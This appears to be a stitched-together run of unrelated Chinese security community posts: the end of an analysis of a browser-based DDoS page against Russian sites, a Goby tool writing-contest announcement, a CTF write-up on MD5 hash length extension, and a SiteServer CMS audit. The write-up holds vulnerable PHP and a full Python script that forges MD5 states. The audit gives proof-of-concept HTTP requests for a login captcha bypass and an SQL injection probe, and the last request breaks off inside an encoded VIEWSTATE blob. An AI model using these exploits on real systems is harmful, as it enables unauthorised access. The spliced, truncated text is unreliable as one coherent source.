另一相似DDoS网站https://norussian.xyz/出现的晚一些，但页面进行了部分优化，并将进行DDOS的网址列表扩展到了252个。同时改善原网站保持开启造成的卡顿现象，还添加了开始和暂停按钮。
**03** 技术分析
stop-russian-desinformation.near.page攻击页面分为两个部分。第一部分为网页的介绍信息，包括英语、乌克兰语和俄语三个版本，主旨大意是希望反对俄罗斯政府的人保持该页面开启；第二部分是俄罗斯宣传网址列表和当前请求的次数以及错误次数。该页面主要通过JS向俄罗斯网址发送请求实现DOS攻击，页面中写入一个静态的地址列表，为66个需要请求的俄罗斯宣传网址。
在构造请求时，设置了较长的timeout，使得HTTP请求不能及时释放，消耗目标服务器的连接数，达到DOS攻击的目的。同时使用Get请求并设置‘no-cors’模式，使得浏览器进行跨域请求时不妨问也不保存服务器返回的内容，减小了客户端的压力。
在打开该网页后，短短几秒钟就会发起几千个请求，目前对于大部分站点的请求状态是挂起，只有少量被屏蔽。一旦有大量的人员访问这个页面，就会形成DDOS攻击。而且这种DDOS攻击对于攻击发起者来讲没有流量和管理的代价，十分经济实惠。
查看某一个请求的请求头信息，其中的Refer信息中包含了本地活动的网站地址：https://stop-russian-desinformation.near.page/。服务端可以通过检查Refer信息区分请求是否是本次攻击所发起的异常请求。
**04** 战术分析
传统的网络空间作战是围绕争夺网络空间控制权而展开的各种技术战术行动。利用网络空间武器来压制和摧毁敌方在陆、海、空、天等领域的基础设施和电子攻击系统，取得作战优势。但是此次俄乌冲突有一个非常重要的技术发展背景，就是数字化时代以来的第一次全民都有参与感、沉浸式体验、网红式的“视频战争”。带给普通人的观感，跟以往的战争相比已经出现了颠覆性的变化。由于互联网的特性，每个人都能接受到这些具体战争信息，对于大众舆论的争夺和操纵变得极为重要。
战争三大要素之一就是人，人是战争的主体，战争需要人来参与，网络空间作战也不例外。该组织利用了简单的技术和资源，却能够发动起针对俄罗斯的DDOS攻击，其主要利用全民参与的思想，将任何访问该页面的人都转化本地DDOS攻击中的一份力量，达到了四两拨千斤的效果。该DDOS攻击的网络流量完全依托于访问该页面的访问人员数量，利用网络中所谓“吃瓜”、“反战”等网络风向来诱导更多的人访问并进一步扩散。
在这种频繁的网络攻击下，我们也可以理解俄罗斯为什么打算与全球互联网断开，启用自己的大局域网“Runet“。
**05** 解读
随着网络信息化的快速发展，现代化战争的边界变得模糊。攻击者利用信息舆论影响发动网络攻击致瘫敌方新闻媒体，以此削弱敌方对外的舆论影响。与传统的DDOS攻击形态不一样的地方在于攻击者此次并未花费很多网络资源，而是借助认知影响和互联网传播能力散播网络武器，操纵大众完成网络攻击。目前，俄乌军事冲突形势还不明朗，此次网络攻击行动也还在持续，不可否认，网络战已经成为现代化战争中的重要组成部分。
**绿盟科技天元实验室** 专注于新型实战化攻防对抗技术研究。
研究目标包括：漏洞利用技术、防御绕过技术、攻击隐匿技术、攻击持久化技术等蓝军技术，以及攻击技战术、攻击框架的研究。涵盖Web安全、终端安全、AD安全、云安全等多个技术领域的攻击技术研究，以及工业互联网、车联网等业务场景的攻击技术研究。通过研究攻击对抗技术，从攻击视角提供识别风险的方法和手段，为威胁对抗提供决策支撑。 | 社区文章 |
# Goby 征文大擂台，超值盲盒等你来！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0×01 Goby 技术征文正式启动
Goby 致力于做最好的网络安全工具。为了促进师傅们知识共享和技术交流，现发起关于 Goby 的技术文章征集活动！
欢迎所有师傅们参加，分享您的使用经验或挖洞窍门等，帮助其他人更好地了解和利用 Goby。
共创网络安全技术生态！
## 0×02 活动介绍
请尽情分享您手里 Goby 真实的使用场景！
如：
Goby 的渗透测试和攻击分析 / 拓展插件的 N 种应用 / 多种实战应用场景 / 插件、EXP编写；
其次，Goby 的高级功能和技巧！
如：
**一键注入内存马的操作；
“IP 库”的资产收集分享技巧；
FID Web 特征数据应用场景；
自定义指纹…**
我们将 **奖励翻倍** ！
【往期参考】
· [Goby
反序列化漏洞一键打入内存马](https://mp.weixin.qq.com/s?__biz=MzI4MzcwNTAzOQ==&mid=2247521997&idx=1&sn=d3c444f95c97f06b1d24240a91bd898d&chksm=eb847d6ddcf3f47b0c50ab4a97b2adbee3241149d9a3ac5a56958e76ac33ede48e0bbd108952&scene=21#wechat_redirect)
· [FID Web
特征资产收集新功能](https://mp.weixin.qq.com/s?__biz=MzI4MzcwNTAzOQ==&mid=2247514926&idx=1&sn=30d81fe57fd1609a7bddc4127821a730&chksm=eb84508edcf3d998b8076c9902fcbc12316813719d39e72024890f1b1babb05cc6b48caebcf6&scene=21#wechat_redirect)
· [Goby 2.0
新增自定义指纹](https://mp.weixin.qq.com/s?__biz=MzI4MzcwNTAzOQ==&mid=2247516835&idx=1&sn=e9ab785361e2ec3b4a22085a9f7ebc3c&chksm=eb846903dcf3e015b2a6646de6a38860604fd4e3d46c6ea08950fb23605a356d20331a88f3a3&scene=21#wechat_redirect)
· [IP库
以点扩面的图形化资产收集](https://mp.weixin.qq.com/s?__biz=MzI4MzcwNTAzOQ==&mid=2247509478&idx=1&sn=48448587ab0fa22f51577c3d478449c9&chksm=eb844e46dcf3c750c777340153185eb2449a3247fc9555e679bcd372e142217701ec73157a97&scene=21#wechat_redirect)
## 0×03 规则细节
1. 投稿要求
文章作者本人应保证文章的原创性、合法性，并对敏感信息脱敏处理。
文章应当有技术含量、结构清晰、表达准确，未被其他媒体发表过。
2. 投稿时间
2023 年 03 月 01 日（起）——2023 年 05 月 06 日（止）
随投随审。
3. 投稿方式
搜索微信号 Gobyteam，将文章发送至 Gobybot。
## 0×04 奖品清单
**Goby 红队版 ？天 + 价值百元盲袋**
## 0×05 结语
我们相信，您的经验和见解将会对其他 Goby 用户产生重要的影响，也将帮助我们更好地了解和改进 Goby 的功能和性能。如果您有任何问题或建议，欢迎随时联系
Gobybot 或参与我们的官方社区讨论。
感谢您的支持和参与！
## 0×06 建设网络安全技术生态的同行者 | 社区文章 |
## 起因
一道ctf题
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}
这里的关键绕过是这一句:
`if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password)))`
要
`cookie['getmein']===$secret . urldecode($username . $password)`
的md5加密，而这里的secret是不可知的，但却知道他的长度，这里我们就涉及到hash扩展攻击。
## MD5加密原理
MD5会把原数据分成`512`为一块的许多块，最后一块加上64字节来表示他的长度，一共构成512*n个字节然后再对这N个512数据块进行N次加密计算(因为过程较复杂，此处不做详解，下文称为复杂计算)，虽然此处加密过程很复杂，但是整个加密过程很容易理解，如下:
## 加密过程
现在我们知道的是
`secretusernamepassword`这个数据，那么我们怎么进行攻击呢，我们看一下这个数据的16进制
算一下，22个字符,512/8=64,64/16=4，我们需要4排数据然后最后给一个整个数据长度，22=0x14,然后md5计算是小端存储，所以我们修改如下图
secretusernamepassword转16进制
`0x736563726574757365726e616d657617373776f7264`
然后填充成
`0x736563726574757365726e616d6570617373776f726480000000000000000000000000000000000000000000000000000000000000000000b000000000000000`
md5('secretusernamepassword')==3105ff5f8723abe628d54387f2de5641
可以倒推出这个时候的ABCD1:
A=5fff0531
B=e6ab2387
C=8743d528
D=4156def2
现在如果我们继续加数据
`0x736563726574757365726e616d6570617373776f726480000000000000000000000000000000000000000000000000000000000000000000b00000000000000072747576`
现在我们已知前面512位计算出来的ABCD1,现在我们去掉前面直接用运算出来的ABCD1运算后面`0x72747576`得到的结果应该和加密全部的结果是一样的
`0X72747576`会被自动填充为
`0x72747576800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002002000000000000`
`'secretusernamepassword'+'\x80'+'\x00'*33+'\xb0'+'\x00'*7+'\x72\x74\x75\x76'`
直接md5加密结果为`8e847c325fb05c60d437b23dc38ea6da`
使用ABCD1手动加密`0X72747576`
`A=327c848e,B=605cb05f,C=3db237d4,D=daa68ec3`
`md5:8e847c325fb05c60d437b23dc38ea6da`
可以看到相同
## 攻击流程
既然如初，我们只要知道一个hash值，知道原来数据的数据长度，那么我们就可以算出
`原数据+填充数据到512+任意内容`的hash值
那么我们来看代码
他是直接用`secret+username+password`输入的是username和password，那么我们直接得出cookie里面的hash值，拿出这个hash值，倒推出这个ABCD1,然后用这个ABCD1对任意值加密，得出来hash值就是这个任意值附加在
`secret+username+password+填充字节+任意值`的hash
like this：
加密代码(引用现成代码)
#!/usr/bin/env python
# -*- coding: utf-8 -*- # @Author：DshtAnger
# theory reference:
# blog：
# http://blog.csdn.net/adidala/article/details/28677393
# http://blog.csdn.net/forgotaboutgirl/article/details/7258109
# http://blog.sina.com.cn/s/blog_6fe0eb1901014cpl.html
# RFC1321：
# https://www.rfc-editor.org/rfc/pdfrfc/rfc1321.txt.pdf
##############################################################################
import sys
def genMsgLengthDescriptor(msg_bitsLenth):
'''
---args:
msg_bitsLenth : the bits length of raw message
--return:
16 hex-encoded string , i.e.64bits,8bytes which used to describe the bits length of raw message added after padding
'''
return __import__("struct").pack(">Q", msg_bitsLenth).encode("hex")
def reverse_hex_8bytes(hex_str):
'''
--args:
hex_str: a hex-encoded string with length 16 , i.e.8bytes
--return:
transform raw message descriptor to little-endian
'''
hex_str = "%016x" % int(hex_str, 16)
assert len(hex_str) == 16
return __import__("struct").pack("<Q", int(hex_str, 16)).encode("hex")
def reverse_hex_4bytes(hex_str):
'''
--args:
hex_str: a hex-encoded string with length 8 , i.e.4bytes
--return:
transform 4 bytes message block to little-endian
'''
hex_str = "%08x" % int(hex_str, 16)
assert len(hex_str) == 8
return __import__("struct").pack("<L", int(hex_str, 16)).encode("hex")
def deal_rawInputMsg(input_msg):
'''
--args:
input_msg : inputed a ascii-encoded string
--return:
a hex-encoded string which can be inputed to mathematical transformation function.
'''
ascii_list = [x.encode("hex") for x in input_msg]
length_msg_bytes = len(ascii_list)
length_msg_bits = len(ascii_list) * 8
# padding
ascii_list.append('80')
while (len(ascii_list) * 8 + 64) % 512 != 0:
ascii_list.append('00')
# add Descriptor
ascii_list.append(reverse_hex_8bytes(genMsgLengthDescriptor(length_msg_bits)))
return "".join(ascii_list)
def getM16(hex_str, operatingBlockNum):
'''
--args:
hex_str : a hex-encoded string with length in integral multiple of 512bits
operatingBlockNum : message block number which is being operated , greater than 1
--return:
M : result of splited 64bytes into 4*16 message blocks with little-endian
'''
M = [int(reverse_hex_4bytes(hex_str[i:(i + 8)]), 16) for i in
xrange(128 * (operatingBlockNum - 1), 128 * operatingBlockNum, 8)]
return M
# 定义函数，用来产生常数T[i]，常数有可能超过32位，同样需要&0xffffffff操作。注意返回的是十进制的数
def T(i):
result = (int(4294967296 * abs(__import__("math").sin(i)))) & 0xffffffff
return result
# 定义每轮中用到的函数
# RL为循环左移，注意左移之后可能会超过32位，所以要和0xffffffff做与运算，确保结果为32位
F = lambda x, y, z: ((x & y) | ((~x) & z))
G = lambda x, y, z: ((x & z) | (y & (~z)))
H = lambda x, y, z: (x ^ y ^ z)
I = lambda x, y, z: (y ^ (x | (~z)))
RL = L = lambda x, n: (((x << n) | (x >> (32 - n))) & (0xffffffff))
def FF(a, b, c, d, x, s, ac):
a = (a + F((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
a = RL((a), (s)) & 0xffffffff;
a = (a + b) & 0xffffffff
return a
def GG(a, b, c, d, x, s, ac):
a = (a + G((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
a = RL((a), (s)) & 0xffffffff;
a = (a + b) & 0xffffffff
return a
def HH(a, b, c, d, x, s, ac):
a = (a + H((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
a = RL((a), (s)) & 0xffffffff;
a = (a + b) & 0xffffffff
return a
def II(a, b, c, d, x, s, ac):
a = (a + I((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
a = RL((a), (s)) & 0xffffffff;
a = (a + b) & 0xffffffff
return a
def show_md5(A, B, C, D):
return "".join(["".join(__import__("re").findall(r"..", "%08x" % i)[::-1]) for i in (A, B, C, D)])
def run_md5(A=0x67452301, B=0xefcdab89, C=0x98badcfe, D=0x10325476, readyMsg=""):
a = A
b = B
c = C
d = D
for i in xrange(0, len(readyMsg) / 128):
M = getM16(readyMsg, i + 1)
for i in xrange(16):
exec "M" + str(i) + "=M[" + str(i) + "]"
# First round
a = FF(a, b, c, d, M0, 7, 0xd76aa478L)
d = FF(d, a, b, c, M1, 12, 0xe8c7b756L)
c = FF(c, d, a, b, M2, 17, 0x242070dbL)
b = FF(b, c, d, a, M3, 22, 0xc1bdceeeL)
a = FF(a, b, c, d, M4, 7, 0xf57c0fafL)
d = FF(d, a, b, c, M5, 12, 0x4787c62aL)
c = FF(c, d, a, b, M6, 17, 0xa8304613L)
b = FF(b, c, d, a, M7, 22, 0xfd469501L)
a = FF(a, b, c, d, M8, 7, 0x698098d8L)
d = FF(d, a, b, c, M9, 12, 0x8b44f7afL)
c = FF(c, d, a, b, M10, 17, 0xffff5bb1L)
b = FF(b, c, d, a, M11, 22, 0x895cd7beL)
a = FF(a, b, c, d, M12, 7, 0x6b901122L)
d = FF(d, a, b, c, M13, 12, 0xfd987193L)
c = FF(c, d, a, b, M14, 17, 0xa679438eL)
b = FF(b, c, d, a, M15, 22, 0x49b40821L)
# Second round
a = GG(a, b, c, d, M1, 5, 0xf61e2562L)
d = GG(d, a, b, c, M6, 9, 0xc040b340L)
c = GG(c, d, a, b, M11, 14, 0x265e5a51L)
b = GG(b, c, d, a, M0, 20, 0xe9b6c7aaL)
a = GG(a, b, c, d, M5, 5, 0xd62f105dL)
d = GG(d, a, b, c, M10, 9, 0x02441453L)
c = GG(c, d, a, b, M15, 14, 0xd8a1e681L)
b = GG(b, c, d, a, M4, 20, 0xe7d3fbc8L)
a = GG(a, b, c, d, M9, 5, 0x21e1cde6L)
d = GG(d, a, b, c, M14, 9, 0xc33707d6L)
c = GG(c, d, a, b, M3, 14, 0xf4d50d87L)
b = GG(b, c, d, a, M8, 20, 0x455a14edL)
a = GG(a, b, c, d, M13, 5, 0xa9e3e905L)
d = GG(d, a, b, c, M2, 9, 0xfcefa3f8L)
c = GG(c, d, a, b, M7, 14, 0x676f02d9L)
b = GG(b, c, d, a, M12, 20, 0x8d2a4c8aL)
# Third round
a = HH(a, b, c, d, M5, 4, 0xfffa3942L)
d = HH(d, a, b, c, M8, 11, 0x8771f681L)
c = HH(c, d, a, b, M11, 16, 0x6d9d6122L)
b = HH(b, c, d, a, M14, 23, 0xfde5380c)
a = HH(a, b, c, d, M1, 4, 0xa4beea44L)
d = HH(d, a, b, c, M4, 11, 0x4bdecfa9L)
c = HH(c, d, a, b, M7, 16, 0xf6bb4b60L)
b = HH(b, c, d, a, M10, 23, 0xbebfbc70L)
a = HH(a, b, c, d, M13, 4, 0x289b7ec6L)
d = HH(d, a, b, c, M0, 11, 0xeaa127faL)
c = HH(c, d, a, b, M3, 16, 0xd4ef3085L)
b = HH(b, c, d, a, M6, 23, 0x04881d05L)
a = HH(a, b, c, d, M9, 4, 0xd9d4d039L)
d = HH(d, a, b, c, M12, 11, 0xe6db99e5L)
c = HH(c, d, a, b, M15, 16, 0x1fa27cf8L)
b = HH(b, c, d, a, M2, 23, 0xc4ac5665L)
# Fourth round
a = II(a, b, c, d, M0, 6, 0xf4292244L)
d = II(d, a, b, c, M7, 10, 0x432aff97L)
c = II(c, d, a, b, M14, 15, 0xab9423a7L)
b = II(b, c, d, a, M5, 21, 0xfc93a039L)
a = II(a, b, c, d, M12, 6, 0x655b59c3L)
d = II(d, a, b, c, M3, 10, 0x8f0ccc92L)
c = II(c, d, a, b, M10, 15, 0xffeff47dL)
b = II(b, c, d, a, M1, 21, 0x85845dd1L)
a = II(a, b, c, d, M8, 6, 0x6fa87e4fL)
d = II(d, a, b, c, M15, 10, 0xfe2ce6e0L)
c = II(c, d, a, b, M6, 15, 0xa3014314L)
b = II(b, c, d, a, M13, 21, 0x4e0811a1L)
a = II(a, b, c, d, M4, 6, 0xf7537e82L)
d = II(d, a, b, c, M11, 10, 0xbd3af235L)
c = II(c, d, a, b, M2, 15, 0x2ad7d2bbL)
b = II(b, c, d, a, M9, 21, 0xeb86d391L)
A += a
B += b
C += c
D += d
A = A & 0xffffffff
B = B & 0xffffffff
C = C & 0xffffffff
D = D & 0xffffffff
a = A
b = B
c = C
d = D
print "%x,%x,%x,%x" % (a, b, c, d)
return show_md5(a, b, c, d)
samplehash="571580b26c65f306376d4f64e53cb5c7"
s1=0x5fff0531
s2=0xe6ab2387
s3=0x8743d528
s4=0x4156def2
secret = 'secretusernamepassword'
test=secret+'\x80'+'\x00'*33+'\xb0'+'\x00'*7+'\x72\x74\x75\x76'
s = deal_rawInputMsg(test)
inp = s[len(s)/2:]
print test+'\n'
print '----------------------------------------------------------'
print s
print '----------------------------------------------------------'
print inp
print '----------------------------------------------------------'
print "md5:"+run_md5(s1,s2,s3,s4,inp) | 社区文章 |
SiteServer
CMS是北京百容千域软件技术开发有限公司所开发的一款网站内容管理系统，目前在国家部委、集团公司、大型门户网站均有广泛的应用。Gov，Edu用得比较多，Asp.net的程序，想审计并不很容易。【手动嘤嘤嘤~】
### 0x01 后台登录验证码绕过
程序将验证码和账号分开验证 两个包之间无关联 导致黑客可直接发送第二个包验证账号密码是否正确 从而绕过了验证码
**POC**
POST /api/v1/administrators/actions/login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/SiteServer/pageLogin.cshtml
Content-Type: application/json;charset=utf-8
Content-Length: 84
Connection: keep-alive
{"account":"admin","password":"7fef6171469e80d32c0559f88b377245","isAutoLogin":true}
（password字段为简单的md5加密）
### 0x02 后台三处盲注
`POC_1`
在POST的字段中插入`1'"`：
POST /SiteServer/settings/pageLogError.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/SiteServer/main.cshtml?siteId=1
Connection: keep-alive
Cookie: ASP.NET_SessionId=5vyakqhuu2rtwvblnorygurc;SS-ADMIN-TOKEN=rYwhRlUy1A0slash0c0add0oVj4VDE0CvBAX85G2dBwa93TmwEkeruzsEkVZiNgMXXO0add0Sl6esIB128JOJDb78vG3Z9PkosNmcFsDsr19aCI9HXJmpu2MBtJqFRNsLzcRl5z0slash0m0add0ClsU6wxc4myMoLvhfjQ5klJmGwSvad0add0cUpWcO7EvcWRt5wavRiqfmxkLcBT4B4MtqIHEBOx4MVHwhbYGuDIM1MCnPGQ71DkgWDj6ii40add03VdXQnk0equals00secret0;SS-LOGIN-CAPTCHA=UxpHCdBy2cs0equals00secret0;http://127.0.0.1/api/pages/cms/contents?siteId=1&channelId=1&page=1&1550057121935;BaiRong_Message_Success=;BaiRong_Message_Error=TAz4Xf3PSBuLgbpoVa4VFSUf0slash05eimbSaeVSJF3dT3fgAeC6icqxEypRJIElFh2v0slash00secret0;BaiRong_Message_Info=UKZD9ATQy1nIqXl6UMdKcFsqBWz6W0slash0zZwF0slash0zI3H3S1ea5xO1a8CH7GpPOgZfjceddzeRpe48tG620add0EfzngiL4RR0add0BLDmBmrHA4oDI8fhFDyFUeOim0tQGOg0add0YlAUpat9fZhvQT8yO4eGOcly70slash0OSdQ0equals00equals00secret0;pageRoleAdd=TbRoleName%3A%2CCblPermissions_0%3Atrue%2CCblPermissions_0%3Afalse%2CCblPermissions_1%3Atrue%2CCblPermissions_2%3Atrue%2CCblPermissions_3%3Atrue%2CCblPermissions_4%3Atrue%2CCblPermissions_5%3Atrue%2CCblPermissions_6%3Atrue%2CCblPermissions_7%3Atrue%2CCblPermissions_8%3Atrue
Accept: */*
Accept-Encoding: gzip,deflate
Content-Length: 14041
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
1'"&DdlCategory=api&DdlPluginId=1&IDCollection=36550&TbDateFrom=01/01/1967&TbDateTo=01/01/1967&TbKeyword=1&__EVENTARGUMENT=1&__EVENTTARGET=1&__LASTFOCUS=1&__VIEWSTATE=1rWhJHCgHoJkL1BmxiAIupbsvr40/jOYkKLoClViKDklJEdbF5JL3y/W9g2wrAim9FvzPzKZs32KLgjyt5APXQjLSIMETkzsAKXNGoscBOxyhgX96acQWe7msd7uFOL6IQeQ0R70SbzWjbJSIO62bERJb7D69ZZjCFEikH2uBaYr7%2B4/LqRojwbDsPZyAfCvhiOwFU6EXGXF8fstbUVsoXQn9ED4zTOY0UBpRFEAV0Qwkj7o1EG695rm2NDHpnWgymCby8sBg4AI9Tk%2BixzWvIZjJ4j/25sLxZkiUuJldjMEx0Ae%2BJP1UK4Fd249%2BOWusYbW72P%2BDQL65KeuSjd0jBYw1GkDbGEGb/C0lD3hDwrCC5GKaf4CXTt7D/DlGVVaDv8PS1ocFV7MrH/SNYw1%2Bs0nh6mY9VQ4nGfbTAva78s/8kFmkJnXUQHbiV4Tay/9g0ImxvwvCRrGye6D%2BWQOGlj%2BQxujiOfGltZwPxyOz3jDn1aHdHhUW3KLZbDez/3gcmq8xIH23j3GkzH9mTXR2fuhQOTez9WbAoL4yAGTEgIRiTXa2xw51hET2UL66Tt%2B1aITFMZhE5mDEPgvnr5LDSoby%2B5ak0dXO38TsxcInADt7q10Z%2BhI1H6XSAwtAYookfRUimWO67yOqR4vc08YNrQtC7bP5c6gtNg9mZANF8egZAyR4dd2J878eFg9gfqwYf%2BXucZypwyVFDPLqb4z4RnNrLGfMLiXLXON4X8arKu1nfFtmY%2B7Ho6WKHnEEXXLr7AIUKAuNaah6sHFOkoGAg%2BUMA6D8D6fSu3RVRy1z/dGMnBoLHO7F5iwzJGF9WsrTVOkNnXJ/4/WsfHTX8TQeLTxpzJYsTdu89WgEYPvXgIcVFMS2vAUsteRWLKu%2Bj%2BHCvRrk1tEKWpInfj6AVpYBtIxoxyJCCCsKh29ELiNjCqH5jag%2BJj0QxKlv7s5SqrOE1QSagXEr1XxUyt4HESMNHpZANOh9InwvwnvQqZs0vIie/m7XMlWCPCKM3k3ZznWKR7ShEmAJ8YEnCoBrkQsQAa8vnV0Ntni6QCZlnbE6D473jguxO8woidpL5/xPBZsGOj0hxZr5A2npgSYh9QemCV1pKXExpeV6cTPo7bEoMVBRNeScs8nV4g/VPbY219eiJyZgkxPikBev9g3fvgTLX80PlqC7e256V/axjrYdvRA6dLQQ9YoXUtjdmjepwF8UY84pbSSKJdRdvlFXZ0Kj7uhntKeaXrhnRrh%2BajFW9UzJFXE8vi1EIFBN6886cgwDsrEFj2QGqFcGzUVdeN7jpddZ91A1jsoIl1oDBYlso/lqxYCWTkJAHRJnyFLyX%2B/tAbuTWdR2k3hc5eQBdCOx8iW2K%2BY/lyZU41yytJeqADqqm9Kw2w6P3EycFfwOaIJDdtPNSwK5j5/glzFofJ1V8QZG5ttV21I%2BhUCFdELUpbdGU4K6UW14OqN7gdHdmpZuyY6q%2BLNc91bMUpc9rigzRadjkj5iQ8wpwZRSs8UyqlgTcmaLfbX2%2B4bxAitTFydTUeP6hoaFcc85van18Rhd4JLmsJXIUDZRJIP9%2BxtSkVnfZkHAokblzkfK8kgR7QlDcCRh3OhvvPruvB9JqroQor2KA4mgl93MjQzLxMGYJOxZP0Khbko8nWGGtc0x7f8Co9Ce1SeDcqPv3ODUOkSd6waf9uoCX%2B5U8gmSs3eikoEXKLfcfcVt/TLOeDzgpfisOtQJlAtpHlRPUWtAMOg5441hLQZ40F322xe3nMSPm8mklZC7ouJA5TpL7rqXwM3SO1m9ljnjXeHrnuQ1qvfaJdq9AKoQwHMwq0YqVC8Ty0QRiYTfkCJMDz6wEHvNfXGjGIHg2kANUOeMmXkwcE7/M%2BqBtqtOwPQuq5BqhugPZN8tuJQWjgKs6AtUeT4dTwaIMTur/E7yq66O92j%2BWJkS0jjc1%2BNHV%2BWoOwV/fICyUn6Vm6m3g64GJN5DNiCkGVTbgAhLWGuq7RSN/XV1SH82g60Bo9hu3EQ/I0Nz6A3K2/swCP%2BJLIYrfpzraqV5gTIfdy5zpYN7X265zO5SjIX5Wo6RFABwGHslG1LwE7Jw89CuH7gU3RArvcEvagPAmZF3VjSEEIq89FoSjH/zmWM2DecE3OB6hJ2C7aOwRww%2BV3/p05snx%2BsxebXuE2x5eZt4/GzZ8GhLtvskaKwk1j9dC2weOVOkkjZJvxXqy8cjR%2BXGP5wJl7xj9o1W3vosVdjXIHX2XKeU7uZE2X5ahL27Z7jg0U%2Bva4kyBk88ZxO4kZVZRL2v1dF3wYLmzkgY2il/RBbzeaITMQoLKVGDUKf%2BkF4kEA0iQAIN0tX3uSU0gS25WmJ2ZzqGjaA%2BH1pwFmyOBoc1LwA3Jg9glMwD6V6J92nw2aymPBrCZ5mQmxsWQYDQ4sWj0zMJ7rnGQa98FaSeomZdLPw4EwTQIT4K0nbpPxxHxVY/jk7cXOXe3TSflqauPcIGd4mq4jpfDJbeaTpQHVx7To4PjK0Oa2QT0R2QIM7ait0zyCsY1emp2bA9swIRzoXUIjp5vrkzRf1BHlIpnLXylOE1czM4Xwn/oTglzuv1J2aj2eFgxKKwY0d2fnUL9MQpggy2uFSrmzz/SnQtfscYlczUdmrqqhhVssuuCPLgQBtvau5GCurHWaISHzvbs6gTEbCO%2BhJmENVDCrUNXcz3s9dAiP/ZPEdteR1QsFMyEZDiOR/MhwxG%2B7bDDNzsdYCa13k1arvchU4SR2DS0/zxItlDqjDFYo/Y3JowS5CNAUUs/jXI/sFRPjxjbcrPnICa9oduQM6lPAyPcHLZS1tpBzi9Mnoi/e%2BB%2B%2BGNGPKQ41Gtqm9IUMo6SlMH91E0Glbx8IIlbET%2BE7E2daxI74v%2BfdNzX%2Bnxbu3mUFgXvRaeLbBc4BtrVeQAo8wquCCoNJ9zzPApW5i0png4%2BYV6wohyxvwH9XWaimC5Tonsr5b6x6jSGbnc44TD1GJJ5rnpcOCpSTnlCqXLoUfcAdv%2BJ6rmzQC94g/UNN787R9IyIYLLYo5sWoNKV/5uITcwjQ1G1U4hIGOMATciDisWRSska3lu4SKMF%2BfDod8c0nMYg6icpulz4sRDMU2v5F9Hhw0d6WRYcAoHhY2981Wzke8D8xgoNqEvSpKnweom%2BXqRtOcAq4/eEBbGaBrMkHrP%2BvtzhB%2B%2BZuBRrQhytH7XJxKmv7DX/ROuN6Y2RDlvoI1/ZpOGQH%2Bi9dVWRh0s2aKkbi74HJsCqwMd/uwdZyIqQkpmeOGBVfkIuqj5D5MZbpP%2ByShDP3PQKfcY0fc8kMTjjmMmeV70uIKQBOqP/2vrNerhZldeJobg9fyej7VuJvvXAd%2BQsuL7EFQ0lwsLN4dOEhny5KfX%2BXUaAXrkt5XgfrJvEgVjKq3FIBY/zx6rm5Jdy0r1Kf95xVytsLK5eIWsNReucsFMr5v9aEbL61vQzWDoI8gEikw6M33tG6kLoqzuvfJZHeJC8pwklQF8f/F5j0L7MI3Z%2BYOBDY4XJ75fdZ8xXrV1vi5AXfgE1hv3eSo75ZXa1asSg4yFXUo0ImCHJ3a1i6rOdBrqCsuv8a0OpxZRhPmE%2BHVkmD%2BDMAULatWM6o6NOF9kp0aDKMb9Et4Sf/uOKSFx48rrc%2BBQIauXGaEpb25alTL/Vx2wEsOi5K0UD7CFMoLYEptLWqop6vvNqL3P6lofD0VNoLVXxQ0uuqQwtPB1T1ju0qGrlg7MgMukNXzwSEJqYYiZ7bnrd6xBvKFTIVnV5gSyr92UWlObxSQKqHfLmQfCFrzhz6dglUODwpi%2BLpJ5tej9M7PT1lUOPcp1w75XWyJjlMifdFXI72eFDOBIa5FXNQupQvxuhobydQu65G8MnzcvZWSsyrdnPQOxQhFgn6cWWziPOKAeGEYYYsENNUxe5YV0JIypyNhMrLzvtKzEw4CaVTA4O1LWjbnrUdcKmLuq1MDf0TtNy01%2BNkVH4/bgGoSN7mTxp6jneI8TJYn/UXiEzHiMJgi8BCqT0Berzz/qJtoJH8RNRUOseh8MPWqShs1zKPxTU9RobNv90vaFgVEPIEcN7H0Ax1GMpOKWqWacARWf62Gp0dqpdb3hz1eRrwtPQ4QnKa%2BJF9Nv7TnSf5dNRPQF9zb1AHYNRE9ZTIqC%2BO3NmQPN2Sq9XIccm0NzHMbxfNqCyXpeizFQp2wPHBfC%2BYHCcfz9dfPZ7qd/fiw2Cc47psgunshg0J0xSYPXu/FDK2fZvt/ECk/xEB3UyaCQ4BfGaMZAFPqM7TxaDa0lr2%2BFwvcapwh6CA1sUajf0rp6r8tGZqC3hoSrDTE1aKu0ETZMgpOwoaQmRk/F73F6DZEPwVgLmdfbaQ9Mp8PmG%2BnqUIBBxOWN710VHL5eTQsBELfOqaTinyV2xmzRSpXI8ijIB4%2BGlwyuGaYKzt%2BAqL/ccJ2fnoSBYB%2BZ6fQX1KezPEiZSpU/HLkT2XCVJbUf